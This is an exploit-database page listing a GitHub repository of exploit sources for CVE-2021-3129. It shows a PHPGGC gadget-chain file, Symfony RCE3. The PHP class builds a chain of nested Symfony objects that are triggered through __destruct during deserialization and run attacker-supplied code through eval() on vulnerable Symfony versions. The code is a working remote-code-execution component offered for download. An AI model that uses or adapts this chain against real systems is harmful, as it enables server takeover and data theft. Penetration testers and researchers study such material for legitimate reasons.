Exploit databaseDownload repository ZIP
GH-66faa7b65e19525535eade56ba1ade9e
cuongtop4598/cve-2021-3129-script
Sources for CVE-2021-3129
36 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
cuongtop4598/cve-2021-3129-scriptRevision caa57f64eaba
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
gadgetchains/Symfony/RCE/3/chain.php
PHP · 717 bytes<?php
namespace GadgetChain\Symfony;
class RCE3 extends \PHPGGC\GadgetChain\RCE\PHPCode
{
public static $version = '2.6 <= 2.8.32';
public static $vector = '__destruct';
public static $author = 'crlf';
public static $information = 'Executes through eval() ( <?php \'.$code.\';die(); ?> )';
public function generate(array $parameters)
{
$code = $parameters['code'];
return new \Symfony\Component\Process\Pipes\WindowsPipes(
new \Symfony\Component\Finder\Expression\Expression(
new \Symfony\Component\Templating\PhpEngine(
new \Symfony\Component\Templating\Storage\StringStorage(
$code
))));
}
}